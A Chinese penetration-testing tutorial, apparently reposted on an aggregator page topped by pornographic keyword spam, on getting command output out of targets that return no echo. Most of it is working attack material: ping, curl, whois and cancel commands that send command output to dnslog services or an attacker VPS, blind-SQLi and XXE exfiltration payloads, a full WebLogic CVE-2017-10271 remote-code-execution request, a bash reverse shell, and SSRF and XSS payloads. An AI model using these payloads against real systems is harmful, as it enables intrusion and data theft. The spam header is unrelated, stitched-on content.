日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

干货|如何在无回显时渗透

發布時間:2024/1/23 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 干货|如何在无回显时渗透 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

在滲透測試的很多時候,我們可能都得不到數據的回顯。由于得不到數據的回顯,我們就無法進一步判斷我們滲透測試的結果。所以本文告訴大家,在沒有回顯的時候,我們又該如何測試。

1.利用ping

ping `命令`.dnslog

有很多免費的dnslog使用,例如BurpSuite自帶的模塊——Burp Collaborator client,當然社區版沒有這個功能,專業版的BurpSuite才具有。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Burp Collaborator client

還有免費的ceye.io、吐司等,這里不做過多的介紹,以Burp Collaborator client為例。
假如我們需要執行一個uname,我們先點擊Copy to clipboard,接著組裝我們的語句即可,最后執行它

Copy to clipboard

待它執行幾秒鐘,我們的Burp Collaborator client就會有回應

ping執行

回應

我們直接在本機執行uname驗證一下

uname

2.利用curl

Win10和WinServer2016(或更高版本)均已默認自帶curl

curl dnslog/`命令|base64|tr '\n' '-'`

curl dnslog/`命令|tr '\n' '-'`

?

執行

你會得到一個http的請求,在請求中就是命令執行的結果

curl結果

在某些極端情況下,你可能需要使用base64編碼一下,因為可能某些命令返回的結果為中文

base64結果

去掉/、-以后,對結果進行還原就為命令執行以后的結果

原始結果

前面說的這些都是基于能解析host的時候執行的,然而在很多實際情況中,被滲透的機器根本不會配置dns。在不配置dns的情況下,dnslog就會失效,命令將返回uknown host,由于無法解析host,找不到dnslog的ip,我們也無法從dnslog平臺獲得命令執行的結果。請接著看下文。

3.利用whois

談到whois,很多人的第一反應應該是查域名從屬吧。其實不然,whois還可以用來回顯命令執行的結果。

whois -h vps‘ip -p port `命令`

whois -h vps‘ip -p port `命令 |base64`

這里我們需要自行準備一臺vps,其實就是有公網ip的機器,在機器上監聽一個端口。例如我在我的vps上監聽6666,且在目標機器執行一個uname
nc -l -p 6666 -vvv

監聽6666

那么我們就在目標機器上執行如下命令(myip為我的vpsip)

whois -h myip -p 6666 `uname`

whois -h myip -p 6666 `uname |base64`

?

目標機

vps

如圖就返回了我們的命令執行結果

4.利用cancel

其實除了whois以外,還有cancel可以利用

cancel -u "$(命令)" -h vps'ip:port

我們同樣需要一臺vps,在上面監聽任意端口

目標機

攻擊機

去除方框中的"my-jobs",即為命令回顯結果

后記

那么這些東西可以配合哪些場景使用了?

1.SQL注入

當我們的SQL注入為盲注時,它可是不會返回結果的。

select load_file(concat('\\\\\\\\',(SQL語句),'.dnslog\\隨便輸入字母'))

眾所周知,mysql中load_file是可以執行dns請求的,注意dnslog前面有個".",千萬不要忘記了。

2.XXE

我們只需要把dtd文件換成下面的內容即可

#payload1 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://dnslog/隨便輸入字母"> %remote;]> <root/> #payload2 <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://dnslog/%file;'>" > %all;

3.RCE

前面的部分基本上都在展示執行命令,這里我們結合一下Weblogic XML Decoder反序列化(CVE-2017-10271)

POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host:x.x.x.x:x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>命令</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

我們只需要替換一下上文中命令的部分為如下的任意一種(請注意html實體編碼,payload默認為Linux,win需要修改/bin/bash為cmd或者cmd.exe,-c為/c)

html實體編碼

ping `命令`.dnslog curl dnslog/`命令|base64|tr '\n' '-'` curl dnslog/`命令|tr '\n' '-'` whois -h vps'ip -p port `命令` whois -h vps'ip -p port `命令 |base64` cancel -u "$(命令)" -h vps'ip:port

#直接反彈shell

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

所有的命令都需要注意轉換html實體編碼
例如原本的反彈命令為

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

轉換后為

bash -i &gt;&amp; /dev/tcp/127.0.0.1/8080 0&gt;&amp;1

可以去這里轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php

4.SSRF

我們可以在需要的參數后面直接修改為vps'ip或者dnslog地址
如果你使用vps,那么你依然需要在vps上先執行監聽端口
如果你使用dnslog,那么直接修改為dnslog地址
例如某參數為video_url,修改為如下

video_url=http://vps'ip:port

video_url=dnslog

?

5.XSS

使用如下Payload

<IMG SRC=# onerror=http://dnslog/隨便輸入字母>

總結

以上是生活随笔為你收集整理的干货|如何在无回显时渗透的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。